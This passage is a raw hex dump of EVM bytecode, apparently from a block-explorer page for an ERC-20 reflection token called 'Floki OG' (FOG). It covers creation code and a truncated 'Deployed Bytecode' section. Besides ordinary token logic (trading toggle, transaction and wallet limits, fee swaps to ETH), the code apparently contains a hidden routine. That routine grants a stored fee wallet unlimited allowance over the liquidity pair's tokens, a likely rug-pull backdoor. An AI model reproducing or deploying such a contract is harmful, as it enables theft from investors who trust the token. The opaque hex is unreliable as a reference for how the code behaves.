fffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361124a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124190613119565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b0906131ab565b60405180910390fd5b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161139791906128c8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140a9061323d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611482576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611479906132cf565b60405180910390fd5b6000479050600082116114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190613361565b60405180910390fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561156e5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561187857600d60009054906101000a900460ff166115fd5761158f610ebb565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f3906133f3565b60405180910390fd5b5b600254821115611642576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116399061345f565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146116ef57600354826116a485610844565b6116ae919061347f565b106116ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e590613525565b60405180910390fd5b5b60006116fa30610844565b90506000600454821015905060025482106117155760025491505b80801561172f5750600d60019054906101000a900460ff16155b80156117475750600d60029054906101000a900460ff165b80156117a15750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b80156117f75750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561184d5750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118755761185b82611c5f565b600047905060008111156118735761187281611ed8565b5b505b50505b600060019050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061191f5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119d25750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156119d15750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b5b156119e05760009050611b7a565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611a8b5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611aa3576010546014819055506011546015819055505b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611b4e5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611b7957601254601481905550611b6582611fd1565b601354611b729190613545565b6015819055505b5b611b8685858584611fed565b5050505050565b6000838311158290611bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcc9190612973565b60405180910390fd5b5060008385611be49190613545565b9050809150509392505050565b6000600154821115611c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2f906135eb565b60405180910390fd5b6000611c4261201a565b9050611c57818461204590919063ffffffff16565b915050919050565b6001600d60016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c9757611c9661360b565b5b604051908082528060200260200182016040528015611cc55781602001602082028036833780820191505090505b5090503081600081518110611cdd57611cdc612e00565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da89190612ebb565b81600181518110611dbc57611dbb612e00565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e2330600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111db565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e879594939291906136f8565b600060405180830381600087803b158015611ea157600080fd5b505af1158015611eb5573d6000803e3d6000fd5b50505050506000600d60016101000a81548160ff02191690831515021790555050565b6000600e5482611ee89190613781565b905060008183611ef89190613545565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611f62573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611fcb573d6000803e3d6000fd5b50505050565b600066038d7ea4c6800082611fe69190613781565b9050919050565b80611ffb57611ffa61208f565b5b6120068484846120cc565b80612014576120136122b1565b5b50505050565b60008060006120276122c5565b9150915061203e818361204590919063ffffffff16565b9250505090565b600061208783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612324565b905092915050565b60006014541480156120a357506000601554145b6120ca57601454601681905550601554601781905550600060148190555060006015819055505b565b6000806000806000806120de87612387565b9550955095509550955095506120f489896123ef565b156121045761210389896124a3565b5b61215686600a60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257790919063ffffffff16565b600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121eb85600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122378161261f565b61224184836126dc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161229e91906128c8565b60405180910390a3505050505050505050565b601654601481905550601754601581905550565b600080600060015490506000670de0b6b3a764000090506122f9670de0b6b3a764000060015461204590919063ffffffff16565b82101561231757600154670de0b6b3a7640000935093505050612320565b81819350935050505b9091565b6000808311829061236b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123629190612973565b60405180910390fd5b506000838561237a9190613781565b9050809150509392505050565b60008060008060008060008060006123a48a601454601554612716565b92509250925060006123b461201a565b905060008060006123c78e8787876127ac565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561249b5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156125735761257281837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6111db565b5b5050565b60006125b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b8d565b905092915050565b60008082846125d0919061347f565b905083811015612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c906137fe565b60405180910390fd5b8091505092915050565b600061262961201a565b90506000612640828461283590919063ffffffff16565b905061269481600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f18260015461257790919063ffffffff16565b60018190555061270c81600f546125c190919063ffffffff16565b600f819055505050565b6000806000806127426064612734888a61283590919063ffffffff16565b61204590919063ffffffff16565b9050600061276c606461275e888b61283590919063ffffffff16565b61204590919063ffffffff16565b9050600061279582612787858c61257790919063ffffffff16565b61257790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c5858961283590919063ffffffff16565b905060006127dc868961283590919063ffffffff16565b905060006127f3878961283590919063ffffffff16565b9050600061281c8261280e858761257790919063ffffffff16565b61257790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080830361284757600090506128a9565b60008284612855919061381e565b90508284826128649190613781565b146128a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289b906138d2565b60405180910390fd5b809150505b92915050565b6000819050919050565b6128c2816128af565b82525050565b60006020820190506128dd60008301846128b9565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561291d578082015181840152602081019050612902565b60008484015250505050565b6000601f19601f8301169050919050565b6000612945826128e3565b61294f81856128ee565b935061295f8185602086016128ff565b61296881612929565b840191505092915050565b6000602082019050818103600083015261298d818461293a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129ca8261299f565b9050919050565b6129da816129bf565b81146129e557600080fd5b50565b6000813590506129f7816129d1565b92915050565b612a06816128af565b8114612a1157600080fd5b50565b600081359050612a23816129fd565b92915050565b60008060408385031215612a4057612a3f612995565b5b6000612a4e858286016129e8565b9250506020612a5f85828601612a14565b9150509250929050565b60008115159050919050565b612a7e81612a69565b82525050565b6000602082019050612a996000830184612a75565b92915050565b6000819050919050565b6000612ac4612abf612aba8461299f565b612a9f565b61299f565b9050919050565b6000612ad682612aa9565b9050919050565b6000612ae882612acb565b9050919050565b612af881612add565b82525050565b6000602082019050612b136000830184612aef565b92915050565b600080600060608486031215612b3257612b31612995565b5b6000612b40868287016129e8565b9350506020612b51868287016129e8565b9250506040612b6286828701612a14565b9150509250925092565b600060ff82169050919050565b612b8281612b6c565b82525050565b6000602082019050612b9d6000830184612b79565b92915050565b6000612bae8261299f565b9050919050565b612bbe81612ba3565b82525050565b6000602082019050612bd96000830184612bb5565b92915050565b600060208284031215612bf557612bf4612995565b5b6000612c0384828501612a14565b91505092915050565b600060208284031215612c2257612c21612995565b5b6000612c30848285016129e8565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612c5e57612c5d612c39565b5b8235905067ffffffffffffffff811115612c7b57612c7a612c3e565b5b602083019150836020820283011115612c9757612c96612c43565b5b9250929050565b612ca781612a69565b8114612cb257600080fd5b50565b600081359050612cc481612c9e565b92915050565b600080600060408486031215612ce357612ce2612995565b5b600084013567ffffffffffffffff811115612d0157612d0061299a565b5b612d0d86828701612c48565b93509350506020612d2086828701612cb5565b9150509250925092565b612d33816129bf565b82525050565b6000602082019050612d4e6000830184612d2a565b92915050565b60008060408385031215612d6b57612d6a612995565b5b6000612d79858286016129e8565b9250506020612d8a858286016129e8565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612dca6020836128ee565b9150612dd582612d94565b602082019050919050565b60006020820190508181036000830152612df981612dbd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e69826128af565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e9b57612e9a612e2f565b5b600182019050919050565b600081519050612eb5816129d1565b92915050565b600060208284031215612ed157612ed0612995565b5b6000612edf84828501612ea6565b91505092915050565b6000604082019050612efd6000830185612d2a565b612f0a6020830184612d2a565b9392505050565b6000819050919050565b6000612f36612f31612f2c84612f11565b612a9f565b6128af565b9050919050565b612f4681612f1b565b82525050565b600060c082019050612f616000830189612d2a565b612f6e60208301886128b9565b612f7b6040830187612f3d565b612f886060830186612f3d565b612f956080830185612d2a565b612fa260a08301846128b9565b979650505050505050565b600081519050612fbc816129fd565b92915050565b600080600060608486031215612fdb57612fda612995565b5b6000612fe986828701612fad565b9350506020612ffa86828701612fad565b925050604061300b86828701612fad565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006130716026836128ee565b915061307c82613015565b604082019050919050565b600060208201905081810360008301526130a081613064565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006131036024836128ee565b915061310e826130a7565b604082019050919050565b60006020820190508181036000830152613132816130f6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006131956022836128ee565b91506131a082613139565b604082019050919050565b600060208201905081810360008301526131c481613188565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006132276025836128ee565b9150613232826131cb565b604082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006132b96023836128ee565b91506132c48261325d565b604082019050919050565b600060208201905081810360008301526132e8816132ac565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061334b6029836128ee565b9150613356826132ef565b604082019050919050565b6000602082019050818103600083015261337a8161333e565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006133dd603f836128ee565b91506133e882613381565b604082019050919050565b6000602082019050818103600083015261340c816133d0565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613449601c836128ee565b915061345482613413565b602082019050919050565b600060208201905081810360008301526134788161343c565b9050919050565b600061348a826128af565b9150613495836128af565b92508282019050808211156134ad576134ac612e2f565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061350f6023836128ee565b915061351a826134b3565b604082019050919050565b6000602082019050818103600083015261353e81613502565b9050919050565b6000613550826128af565b915061355b836128af565b925082820390508181111561357357613572612e2f565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006135d5602a836128ee565b91506135e082613579565b604082019050919050565b60006020820190508181036000830152613604816135c8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61366f816129bf565b82525050565b60006136818383613666565b60208301905092915050565b6000602082019050919050565b60006136a58261363a565b6136af8185613645565b93506136ba83613656565b8060005b838110156136eb5781516136d28882613675565b97506136dd8361368d565b9250506001810190506136be565b5085935050505092915050565b600060a08201905061370d60008301886128b9565b61371a6020830187612f3d565b818103604083015261372c818661369a565b905061373b6060830185612d2a565b61374860808301846128b9565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061378c826128af565b9150613797836128af565b9250826137a7576137a6613752565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006137e8601b836128ee565b91506137f3826137b2565b602082019050919050565b60006020820190508181036000830152613817816137db565b9050919050565b6000613829826128af565b9150613834836128af565b9250828202613842816128af565b9150828204841483151761385957613858612e2f565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138bc6021836128ee565b91506138c782613860565b604082019050919050565b600060208201905081810360008301526138eb816138af565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cc7fb9a46780f768b10312dd42edc4f670eb93f712e000156074773853c3817164736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c80634f473db0116100b657806395d89b411161006f57806395d89b4114610421578063a9059cbb1461044c578063b425bac314610489578063c816841b146104b4578063dd62ed3e146104df578063f2fde38b1461051c5761014b565b80634f473db01461033957806370a0823114610362578063715018a61461039f57806383364ea2146103b65780638a8c523c146103df5780638da5cb5b146103f65761014b565b806318160ddd1161010857806318160ddd1461023957806323b872dd146102645780632fae7937146102a1578063313ce567146102b85780633d8af5f2146102e35780634144d9e41461030e5761014b565b8063039cc7491461015057806306fdde031461017b578063095ea7b3146101a65780630e5a9231146101e35780631694505e1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610545565b60405161017291906128c8565b60405180910390f35b34801561018757600080fd5b5061019061054b565b60405161019d9190612973565b60405180910390f35b3480156101b257600080fd5b506101cd60048036038101906101c89190612a29565b610588565b6040516101da9190612a84565b60405180910390f35b3480156101ef57600080fd5b506101f86105a6565b60405161020591906128c8565b60405180910390f35b34801561021a57600080fd5b506102236105ac565b6040516102309190612afe565b60405180910390f35b34801561024557600080fd5b5061024e6105d2565b60405161025b91906128c8565b60405180910390f35b34801561027057600080fd5b5061028b60048036038101906102869190612b19565b6105e2565b6040516102989190612a84565b60405180910390f35b3480156102ad57600080fd5b506102b66106bb565b005b3480156102c457600080fd5b506102cd610770565b6040516102da9190612b88565b60405180910390f35b3480156102ef57600080fd5b506102f8610779565b60405161030591906128c8565b60405180910390f35b34801561031a57600080fd5b5061032361077f565b6040516103309190612bc4565b60405180910390f35b34801561034557600080fd5b50610360600480360381019061035b9190612bdf565b6107a5565b005b34801561036e57600080fd5b5061038960048036038101906103849190612c0c565b610844565b60405161039691906128c8565b60405180910390f35b3480156103ab57600080fd5b506103b4610895565b005b3480156103c257600080fd5b506103dd60048036038101906103d89190612cca565b6109e8565b005b3480156103eb57600080fd5b506103f4610b22565b005b34801561040257600080fd5b5061040b610ebb565b6040516104189190612d39565b60405180910390f35b34801561042d57600080fd5b50610436610ee4565b6040516104439190612973565b60405180910390f35b34801561045857600080fd5b50610473600480360381019061046e9190612a29565b610f21565b6040516104809190612a84565b60405180910390f35b34801561049557600080fd5b5061049e610f3f565b6040516104ab9190612bc4565b60405180910390f35b3480156104c057600080fd5b506104c9610f65565b6040516104d69190612d39565b60405180910390f35b3480156104eb57600080fd5b5061050660048036038101906105019190612d54565b610f8b565b60405161051391906128c8565b60405180910390f35b34801561052857600080fd5b50610543600480360381019061053e9190612c0c565b611012565b005b60025481565b60606040518060400160405280600881526020017f466c6f6b69204f47000000000000000000000000000000000000000000000000815250905090565b600061059c6105956111d3565b84846111db565b6001905092915050565b60045481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006105ef8484846113a4565b6106b0846105fb6111d3565b6106ab856040518060600160405280602881526020016138f360289139600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106616111d3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8d9092919063ffffffff16565b6111db565b600190509392505050565b6106c36111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610750576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074790612de0565b60405180910390fd5b670de0b6b3a7640000600281905550670de0b6b3a7640000600381905550565b60006009905090565b60035481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107ad6111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461083a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083190612de0565b60405180910390fd5b8060048190555050565b600061088e600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf1565b9050919050565b61089d6111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092190612de0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109f06111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7490612de0565b60405180910390fd5b60005b83839050811015610b1c5781600c6000868685818110610aa357610aa2612e00565b5b9050602002016020810190610ab89190612c0c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b1490612e5e565b915050610a80565b50505050565b610b2a6111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae90612de0565b60405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c489190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf59190612ebb565b6040518363ffffffff1660e01b8152600401610d12929190612ee8565b6020604051808303816000875af1158015610d31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d559190612ebb565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610de230600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6111db565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e2b30610844565b600080610e36610ebb565b426040518863ffffffff1660e01b8152600401610e5896959493929190612f4c565b60606040518083038185885af1158015610e76573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e9b9190612fc2565b5050506001600d60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f464f470000000000000000000000000000000000000000000000000000000000815250905090565b6000610f35610f2e6111d3565b84846113a4565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61101a6111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e90612de0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110d90613087565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361124a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124190613119565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b0906131ab565b60405180910390fd5b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161139791906128c8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140a9061323d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611482576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611479906132cf565b60405180910390fd5b6000479050600082116114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190613361565b60405180910390fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561156e5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561187857600d60009054906101000a900460ff166115fd5761158f610ebb565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f3906133f3565b60405180910390fd5b5b600254821115611642576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116399061345f565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146116ef57600354826116a485610844565b6116ae919061347f565b106116ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e590613525565b60405180910390fd5b5b60006116fa30610844565b90506000600454821015905060025482106117155760025491505b80801561172f5750600d60019054906101000a900460ff16155b80156117475750600d60029054906101000a900460ff165b80156117a15750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b80156117f75750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561184d5750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118755761185b82611c5f565b600047905060008111156118735761187281611ed8565b5b505b50505b600060019050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061191f5750600c60008573ff